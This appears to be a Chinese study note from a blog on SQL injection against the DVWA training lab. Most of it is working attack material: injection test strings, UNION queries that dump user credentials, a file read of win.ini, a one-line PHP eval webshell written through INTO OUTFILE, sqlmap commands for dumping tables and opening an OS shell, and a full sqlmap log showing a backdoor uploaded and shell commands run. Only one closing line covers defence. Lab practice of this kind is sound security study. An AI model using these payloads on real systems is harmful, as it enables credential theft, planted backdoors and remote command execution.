拼接sql命令查询数据
 
注释 常用于sql注入  
         # 井号 单行注释 注意:URL编码 %23
         -- 两个减号加空格 单行注释
          /*  */    注释一个区域
注意!在sql注入遇到单引号被转译的情况可以使用 HEX编码 绕过单引号的使用
 
注入测试poc
1 or 1=1
1' or '1=1
1" or "1=1
 
sql注入用法
 
查看表单字段数(列数)
使用二分法   order by 列数   排序
 
确定回显点 XXX' union select 1,2;
?id=xx'+union+select+1,2--+
&Submit=Submit#
 
查看数据库版本 存放目录
?id=xx'+union+select+@@version,@@datadir-- +
&Submit=Submit#
查询数据库用户名和数据库名
 select user(),database();
python sqlmap.py -u "http://192.168.3.88/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=688ktp48da80a4k0fi2ih64814;security=low" --current-user --current-db
 
 
查看表名  select table_name from information_schema.tables where table_schema='dvwa';
?id=xx'+union+select+1,table_name+from+information_schema.tables+where+table_schema='dvwa'-- +
&Submit=Submit#
python sqlmap.py -u "http://192.168.3.88/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=688ktp48da80a4k0fi2ih64814;security=low" -D dvwa --tables
 
查看列名 select column_name from information_schema.columns where table_name='users';
?id=xx'+union+select+1,column_name from information_schema.columns where table_name='users'-- +
&Submit=Submit#
python sqlmap.py -u "http://192.168.3.88/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=688ktp48da80a4k0fi2ih64814;security=low" -D dvwa -T users --columns
 
查询用户名密码 select user,password from users;
?id=xx'+union+select user,password from users-- +
&Submit=Submit#
python sqlmap.py -u "http://192.168.3.88/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=688ktp48da80a4k0fi2ih64814;security=low" -D dvwa -T users -C "user,password" --dump
 
文件读取  select load_file('c:\\windows\\win.ini');
写入一句话webshell
select "<?php @eval($_GET['cmd']);?>" into outfile 'c:\\phpStudy\\WWW\\dvwa\\ttt.php';
python sqlmap.py -u "http://192.168.3.88/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=688ktp48da80a4k0fi2ih64814;security=low" -D dvwa -T users -C "user,password" --os-shell
 
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.1.4.16#dev}
|_ -| . [']     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org
 
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
 
[*] starting at 09:42:39
 
[09:42:39] [INFO] resuming back-end DBMS 'mysql'
[09:42:39] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)
    Payload: id=1' OR NOT 1977=1977#&Submit=Submit
 
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1' AND (SELECT 3539 FROM(SELECT COUNT(*),CONCAT(0x716a767171,(SELECT (ELT(3539=3539,1))),0x7178767171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- FXCd&Submit=Submit
 
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=1' AND SLEEP(5)-- peqj&Submit=Submit
 
    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: id=1' UNION ALL SELECT NULL,CONCAT(0x716a767171,0x50557565536267736d786d6466746d634a4d6b46466d61764e46484d635941774f6a725371596862,0x7178767171)#&Submit=Submit
---
[09:42:39] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.4.45, Apache 2.4.23
back-end DBMS: MySQL >= 5.0
[09:42:39] [INFO] going to use a web backdoor for command prompt
[09:42:39] [INFO] fingerprinting the back-end DBMS operating system
[09:42:39] [INFO] the back-end DBMS operating system is Windows
which web application language does the web server support?
[1] ASP (default)
[2] ASPX
[3] JSP
[4] PHP
> 4
do you want sqlmap to further try to provoke the full path disclosure? [Y/n] n
[09:42:43] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) ('C:/xampp/htdocs/, C:/wamp/www/, C:/Inetpub/wwwroot/') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 2
please provide a comma separate list of absolute directory paths: C:\phpStudy\WWW\DVWA
[09:42:51] [WARNING] unable to automatically parse any web server path
[09:42:51] [INFO] trying to upload the file stager on 'C:/phpStudy/WWW/DVWA/' via LIMIT 'LINES TERMINATED BY' method
[09:42:51] [INFO] heuristics detected web page charset 'ascii'
[09:42:51] [INFO] the file stager has been successfully uploaded on 'C:/phpStudy/WWW/DVWA/' - http://192.168.3.88:80/DVWA/tmpummkl.php
[09:42:52] [INFO] the backdoor has been successfully uploaded on 'C:/phpStudy/WWW/DVWA/' - http://192.168.3.88:80/DVWA/tmpbhbmv.php
[09:42:52] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> dir
do you want to retrieve the command standard output? [Y/n/a] y
[09:42:56] [INFO] heuristics detected web page charset 'GB2312'
command standard output:
---
驱动器 C 中的卷是 BOOTCAMP
 卷的序列号是 D89B-813F
 
 C:\phpStudy\WWW\DVWA 的目录
 
2017-05-16  09:42    <DIR>          .
2017-05-16  09:42    <DIR>          ..
2015-10-05  15:51               500 .htaccess
2015-10-05  15:51             3,845 about.php
2015-10-05  15:51             7,229 CHANGELOG.md
2017-04-25  09:18    <DIR>          config
2015-10-05  15:51            33,107 COPYING.txt
2017-04-25  09:18    <DIR>          docs
2017-04-25  09:18    <DIR>          dvwa
2017-04-25  09:18    <DIR>          external
2015-10-05  15:51             1,406 favicon.ico
2017-04-25  09:18    <DIR>          hackable
2015-10-05  15:51               895 ids_log.php
2015-10-05  15:51             4,389 index.php
2015-10-05  15:51             1,869 instructions.php
2015-10-05  15:51             3,522 login.php
2015-10-05  15:51               414 logout.php
2015-10-05  15:51               148 php.ini
2015-10-05  15:51               199 phpinfo.php
2015-10-05  15:51             7,651 README.md
2015-10-05  15:51                26 robots.txt
2015-10-05  15:51             4,686 security.php
2015-10-05  15:51             2,364 setup.php
2017-05-04  20:59               466 test.php
2017-05-16  09:42               908 tmpbhbmv.php
2017-05-16  09:42               727 tmpummkl.php
2017-05-15  21:11                29 ttt.php
2017-04-25  09:18    <DIR>          vulnerabilities
              20 个文件         74,380 字节
               8 个目录 18,391,883,776 可用字节
---
os-shell> x
[09:43:02] [INFO] cleaning up the web files uploaded
[09:43:02] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 2 times
[09:43:02] [INFO] fetched data logged to text files under 'C:\Users\zptxwd\.sqlmap\output\192.168.3.88'
 
[*] shutting down at 09:43:03
 
 
 
sqlmap工具自动注入
low
python sqlmap.py -u "http://192.168.3.88/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=1r06imrpmtlhgg7magi3oos273;security=low"
medium.
 
 
 
注意!在sql注入遇到单引号被转译的情况可以使用 HEX编码 绕过单引号的使用
 
DVWA
正常业务逻辑:根据User ID在数据库内查找信息并回显至web页面
 
select firstname,surname from XXX where user_id='
 
LOW
使用1' or '1=1测试发现可行
python sqlmap.py -u "http://192.168.3.88/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=1r06imrpmtlhgg7magi3oos273;security=low"
 
 
medium.
改包修改post参数
1 or 1=1
python sqlmap.py -u "http://192.168.3.88/dvwa/vulnerabilities/sqli/" --data "id=1&Submit=Submit" -p "id" --cookie "PHPSESSID=688ktp48da80a4k0fi2ih64814;security=medium"
python sqlmap.py -u "http://192.168.3.88/dvwa/vulnerabilities/sqli/" --data "id=1&Submit=Submit" -p "id" --cookie "PHPSESSID=688ktp48da80a4k0fi2ih64814;security=medium" -D dvwa -T users -C "user,password" --dump
 
high
可以发现查询位置与回显位置不一致
python sqlmap.py -u "http://192.168.3.88/dvwa/vulnerabilities/sqli/" --data "id=1&Submit=Submit" -p "id" --cookie "PHPSESSID=dv9h9urfu9bf9udkd7ih6qdbj3;security=high" --second-order "http://192.168.3.88/dvwa/vulnerabilities/sqli/session-input.php#"
 
防止sql注入:检测id数据类型,预编译绑定ID变量  
使用 预编译、存储过程
 

sql回显注入-笔记的更多相关文章

  1. DVWA中SQL回显注入

    一.SQL注入简介 1.1 SQL语句就是操作数据库的语句,SQL注入就是通过web程序在数据库里执行任意SQL语句. SQL 注入是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问和修改数据, ...

  2. sql回显注入(满满的干货)

    三种注入poc where user_id = 1 or 1=1 where user_id = '1' or '1'='1' where user_id =" 1 "or &qu ...

  3. 捅伊朗黑客PP — 后台登陆POST+错误回显 注入

    看了一个泰国政府的网站被伊朗的黑客挂页,上面写着“Your Box 0wn3z By Behrooz_Ice – Q7x -Sha2ow -Virangar -Ali_Eagle -iman_takt ...

  4. 巧用DNSlog实现无回显注入

    测试一些网站的时候,一些注入都是无回显的,我们可以写脚本来进行盲注,但有些网站会ban掉我们的ip,这样我们可以通过设置ip代理池解决, 但是盲注往往效率很低,所以产生了DNSlog注入.具体原理如下 ...

  5. 巧用DNSlog实现无回显注入【转载】

    原作者:afanti 原出处:https://www.cnblogs.com/afanti/p/8047530.html 0x00 简介 测试一些网站的时候,一些注入都是无回显的,我们可以写脚本来进行 ...

  6. 利用DNSLog实现无回显注入

    测试一些网站的时候,一些注入都是无回显的,我们可以写脚本来进行盲注,但有些网站会ban掉我们的ip,这样我们可以通过设置ip代理池解决, 但是盲注往往效率很低,所以产生了DNSlog注入 DNSLOG ...

  7. sql注入笔记-mysql

    整理下sql相关知识,查漏补缺(长期更新) 1 常用语句及知识 information_schema包含了大量有用的信息,例如下图 mysql.user下有所有的用户信息,其中authenticati ...

  8. 2019-9-10:渗透测试,基础学习,sql注入笔记

    sql注入1,万能密码,自己写的网站,找到登录窗口,必须和数据库交互,往里插入构造的恶意代码,最后可以直接登录进去,不需要账号和密码,输入的恶意代码成为万能密码,后端拼接的sql语句,SELECT * ...

  9. SQL反模式学习笔记21 SQL注入

    目标:编写SQL动态查询,防止SQL注入 通常所说的“SQL动态查询”是指将程序中的变量和基本SQL语句拼接成一个完整的查询语句. 反模式:将未经验证的输入作为代码执行 当向SQL查询的字符串中插入别 ...

随机推荐

  1. IDEA创建spring加struts2项目

    选择spring和struts,注意版本,不同的struts版本,过滤器的位置不一样 选择存放位置,并点击完成创建项目,在创建过程中会自动下载相关jar 初始化完成后的目录结构为 修复生成的web.x ...

  2. idea生成实体类

    1.点击View->Tool Windows->Database 2.点击Datebase框的加号,DateSource,选择对应的数据源,配置对应信息,点击Test Connection ...

  3. cdh搭建仓库

    搭建内部仓库使用yum安装cm Creating a Permanent Internal Repository 1,安装httpd yum install httpd 删除/etc/httpd/co ...

  4. HDU 3507 [Print Article]DP斜率优化

    题目大意 给定一个长度为\(n(n \leqslant 500000)\)的数列,将其分割为连续的若干份,使得 $ \sum ((\sum_{i=j}^kC_i) +M) $ 最小.其中\(C_i\) ...

  5. AtCoder AGC036C GP 2 (组合计数)

    题目链接 https://atcoder.jp/contests/agc036/tasks/agc036_c 题解 终于有时间补agc036的题了. 这题其实不难的来着--我太菜了考场上没想出来 首先 ...

  6. [EOJ Monthly2019.11][T1]纸条

    https://acm.ecnu.edu.cn/ 华东师范大学在线评测网站 今天这个题目来自华东师范大学的校赛,比icpc稍难一些,在2019年11月29日周五19:30开始,持续2.5个小时 以下是 ...

  7. 桥接模式下,主机能ping通虚拟机,虚拟机ping不通主机

    好像是防火墙阻止了什么东西而导致的无法ping通! 1.打开WIN7防火墙 2.选择高级设置 3.入站规则 4.找到配置文件类型为“公用”的“文件和打印共享(回显请求 – ICMPv4-In)”规则, ...

  8. 第七周总结&第五次实验报告

    学习总结 这周我们加深了对抽象类与接口的学习,获得的知识点也比上周多了许多,抽象类与接口很相似,就比如别人还没有做完的是交给你来做,而他那些样式都做好了,你只需要完善即可 但也有不同点. 区别点 抽象 ...

  9. Vue.js---配置开发环境

    首先安装Node.js我就不介绍了! win+r , 输入cmd,回车: 1.安装淘宝镜像 在国内直接使用npm的官方镜像是比较慢的,这里我们采用的是淘宝镜像 npm install -g cnpm ...

  10. SQL 表 数据备份

    insert into SMTTemporarySave select * from [MSV0CIMDB].[PICS_20170706].dbo.SMTTemporarySave